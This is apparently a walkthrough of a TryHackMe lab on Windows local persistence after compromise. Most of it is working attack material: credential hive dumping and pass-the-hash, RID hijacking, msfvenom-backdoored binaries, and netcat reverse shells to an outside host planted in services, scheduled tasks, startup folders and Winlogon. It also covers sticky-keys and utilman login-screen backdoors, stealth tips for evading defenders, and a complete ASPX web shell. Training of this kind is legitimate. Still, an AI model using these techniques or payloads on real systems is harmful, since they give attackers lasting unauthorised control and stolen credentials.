Retaining Local Persistence in Windows Operating System: A TryHackMe Guide
Table of contents
This article is not specifically about CTFs; instead, it focuses on teaching various techniques for maintaining persistence after exploitation. In this guide, you will learn methods such as Relative ID (RID) Hijacking, planting backdoors, exploiting services, and obtaining administrative shells from the Windows login screen, among others. The content of this article is derived from the work of the author, munra, who created the Windows Local Persistence room on TryHackMe.
Tampering With Unprivileged Accounts
This article assumes that we have already extracted password hashes from a compromised machine using Mimikatz
lsadump::sam
. With this in mind, we can proceed to add our account to the Administrators
group in order to maintain persistence.
net user thmuser0
net localgroup administrators thmuser0 /add
Adding our account to the Administrators
group might arouse suspicion, so let's consider an alternative method that would still grant us read/write access without full administrative privileges. The Backup Operators
group is an ideal choice, as it will enable us to retrieve both SAM
and SYSTEM
hives.
net localgroup "Backup Operators" thmuser1 /add
We need to add this account to either the Remote Desktop Users
or Remote Management Users
groups to enable remote desktop access.
net localgroup "Remote Management Users" thmuser1 /add
For the next part, we will use Evil-WinRM
. Upon logging in, we notice that we cannot access all the files. This is because the Backup Operators Group is disabled.
Don't worry, we can enable it through the registry.
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
Great, the Backup Operators
group is now enabled.
whoami /groups
Now, let's create copies of the SAM
and SYSTEM
files and transfer them to our attack box.
reg save HKLM\SYSTEM system.bak
reg save HKLM\SAM sam.bak
download system.bak
download sam.bak
From here, we can extract the password hashes using Impacket's
secretsdump.py
.
/opt/impacket-0.9.19/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
Now, we can log in to the Administrator account using a pass-the-hash
attack.
evil-winrm -i 10.10.55.203 -u Administrator -H [REDACTED]
Let's navigate to C:\flags
and retrieve our flag from flag1.exe
.
Special Privileges and Security Descriptors
Special groups have limitations based on what the Operating System assigns. Privileges refer to specific tasks that can be performed on the system, ranging from low-level tasks, such as restarting the computer, to more advanced tasks, like taking ownership of a file. To assign privileges to a user, execute the following commands below.
Export current config:
secedit /export /cfg config.inf
Now, assign the user, thmuser2
, both SeBackupPrivilege
and SeRestorePrivilege
rights.
From this point, we need to convert the .inf
file into a .sdb
file, allowing us to load the configuration back into the system.
secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf
Unfortunately, our user cannot log in via Evil-WinRM
yet. We can fix this by modifying our Evil-WinRM
session's security descriptor, which essentially allows thmuser2
to connect.
From PowerShell (RDP Session):
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
Now, add thmuser2
and grant them full privileges to connect via Evil-WinRM
:
Our user account is now configured to connect via Evil-WinRM
. Furthermore, examining the user's group memberships reveals nothing out of the ordinary, which will aid in maintaining persistence.
net user thmuser2
From here, we can log in using Evil-WinRM
and obtain our second flag:
evil-winrm -i 10.10.55.203 -u thmuser2 -p Password321
RID Hijacking
Another method to gain administrative privileges without actually being an administrator involves modifying registry values. When a user is created, they are assigned an identifier called the RID
, which is universally recognized across the system. Upon login, the LSASS
process retrieves the RID
from the SAM
registry and assigns a token based on the granted permissions. This is where we can manipulate the registry value to make Windows assign a specified user with an administrative access token.
By default, Windows configurations assign administrator accounts with RID 500
. Regular accounts typically have RID
values greater than or equal to 1000
.
Command to find RIDs for users:
wmic useraccount get name,sid
As a proof of concept, we will assign RID 500
to the user3
. To achieve this, we need to access the SAM
using Regedit; however, SAM
is restricted to the SYSTEM
, which means Administrators cannot edit it. We can work around this limitation by using PsExec
, which is a part of Sysinternals
.
.\PsExec64.exe -i -s regedit
In Regedit, navigate to HKLM\SAM\SAM\Domains\Account\Users\
to locate the key for user3 and modify the RID
. Search for a key with the hexadecimal value 0x3F2
, which corresponds to 1010
. Change the bytes F2 03
to F4 01
, representing RID 500
.
Log in via RDP
using the user3
account and retrieve flag3.exe
.
Backdooring Files
To create a backdoored PuTTY.exe
using msfvenom
, follow this method.
Payload:
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp LHOST=10.13.28.215 LPORT=1337 -b "\x00" -f exe -o puttyX.exe
Additionally, we can create a reverse shell by attaching a PowerShell script to the shortcut or target area of a legitimate program.
Start-Process -NoNewWindow "C:\tools\nc64.exe" "-e cmd.exe 10.13.28.215 1337"
Adjust the target area using this shortcut:
powershell.exe -WindowStyle hidden C:\Windows\System32\script.ps1
Now, we want to initiate a Netcat
listener in order to capture the shell.
rlwrap -cAr nc -lvnp 1337
Execute the shortcut:
Grab flag5.exe
from here.
Abusing Services
We can create a backdoor in system services using the following methods.
sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
sc.exe start THMservice
This essentially changes the password of the Administrator user to Passwd123. Additionally, we can also create a reverse shell using msfvenom
and associate it with the service we created.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.28.215 LPORT=1337 -f exe-service -o rev-svc.exe
Upload using Evil-WinRM
:
Assign the executable as a service, configure the listener to intercept the shell, and then initiate the service:
sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
rlwrap -cAr nc -lvnp 1337
sc.exe start THMservice2
Grab flag7.exe
.
Modifying Existing Services
Considering that blue teams will be monitoring newly created services, we should avoid doing so and instead incorporate a backdoor into an existing service. A suitable method for this is to modify a legitimate, yet disabled, service. We can search for these by typing:
sc.exe query state=all
There is a stopped service called THMService3
.
When altering an existing service, it is important to modify these three parameters:
BINARY_PATH_NAME
= point to our payloadSTART_TYPE
= autoSERVICE_START_NAME
= set to LocalSystem to help us maintain SYSTEM priv
Let's create a new reverse shell for this process.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.28.215 LPORT=1337 -f exe-service -o rev-svc2.exe
Now, we want to upload the file using Evil-WinRM
:
Reconfigure the THMService3
parameters:
sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"
Check the service once more to confirm that the parameters have been correctly configured:
sc.exe qc THMservice3
As previously, set up the Netcat listener to capture the shell:
Grab flag8.exe
from here.
Abusing Scheduled Tasks
We can create a scheduled task that executes a reverse shell every minute. Keep in mind that we wouldn't want this to occur as frequently as one minute; however, for the sake of time, we will do it for this room.
schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "C:\tools\nc64 -e cmd.exe 10.13.28.215 1337" /ru SYSTEM
-sc
= schedule-mo
= minute-ru
= run
Let's verify that our task has been scheduled properly:
schtasks /query /tn thm-taskbackdoor
After scheduling the task to run every minute, we receive a callback from our listener:
This is excellent, but it can be detected rather effortlessly. Let's conceal the task by removing its Security Descriptor (SD)
. An SD
is an Access Control List (ACL)
that determines which users have access to the scheduled task. If a user isn't assigned to the ACL
, they won't be able to view the task. We will need to use PsExec
to modify the system registry and delete the SD
.
C:\tools\pstools\PsExec64.exe -s -i regedit
Confirm that it has been deleted:
schtasks /query /tn thm-taskbackdoor
Grab flag9.exe
.
Logon Triggered Persistence
We can insert backdoors into the Windows OS Startup Folder.
Specific User:
C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
All Users:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Let's create a reverse shell payload:
msfvenom -p /windows/x64/shell_reverse_tcp LHOST=10.13.28.215 LPORT=1337 -f exe -o revshell.exe
Upload it:
Move it to the startup folder:
copy revshell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
Log back into the RDP session and obtain the callback.
Grab flag10.exe
.
You can also force a user to execute a program upon login through the registry. Rather than placing your payload in a particular directory, you can utilize the following registry entries to designate applications to run at login:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
The registry entries under HKCU
apply only to the current user, while those under HKLM
apply to everyone. Programs specified under the Run
keys will execute each time the user logs in. Conversely, programs specified under the RunOnce
keys will be executed only once.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.28.215 LPORT=1337 -f exe -o revshell.exe
Upload the file as usual and then move it to C:\Windows
. After that, we need to create a REG_EXPAND_SZ
registry entry under:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Log in, and capture the shell using Netcat
, and grab flag11.exe
.
Winlogon
Another way to automatically start a program upon login is by using the Winlogon
component. This essentially loads Windows profiles once the credentials have been authenticated.
Winlogon
utilizes registry keys located at:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
Userinit
points touserinit.exe
, which is responsible for restoring user profile preferences upon login.shell
points to the operating system's shell, which is commonlyexplorer.exe
.
Create a shell, upload it, and then transfer it to C:\Windows
. After that, modify the Userinit registry value to incorporate C:\Windows\revshell.exe
.
Sign out and then sign back in, and capture the shell using Netcat
. Grab flag12.exe
from here.
Logon Scripts
Just like before, generate a payload and transfer it using Evil-WinRM
. From there, create an environment variable for a user.
Set up the Netcat
listener, log out and then log back in to capture the shell. Grab flag13.exe
from here.
Backdooring the Login Screen Using Stickykeys
The following steps can be taken to create a backdoor on the Windows login screen using Stickykeys.
takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant Administrator:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Grab flag14.exe
:
Backdooring the Login Screen Using Utilman
The following steps can be taken to create a backdoor on the Windows login screen using Utilman.
takeown /f C:\Windows\System32\utilman.exe
icacls C:\Windows\System32\utilman.exe /grant Administrator:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
Grab flag15.exe
:
Persisting Through Existing Services
One way to maintain persistence is by uploading a web shell to the web server. We can create an .aspx
shell and save it in the C:\inetpub\wwwroot
directory.
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="execute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>
<!-- Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com/) -->
<!-- http://michaeldaw.org 04/2007 -->
From your browser, navigate to: http://<IP_HERE>/shell.aspx
Grab flag16.exe
:
Summary
In this article, we explore various techniques for maintaining persistence after exploitation, including Relative ID (RID) Hijacking, planting backdoors, exploiting services, and obtaining administrative shells from the Windows login screen. We discuss methods to tamper with unprivileged accounts, assign special privileges and security descriptors, and abuse scheduled tasks and services. Additionally, we cover backdooring the login screen using Stickykeys and Utilman, as well as persisting through existing services.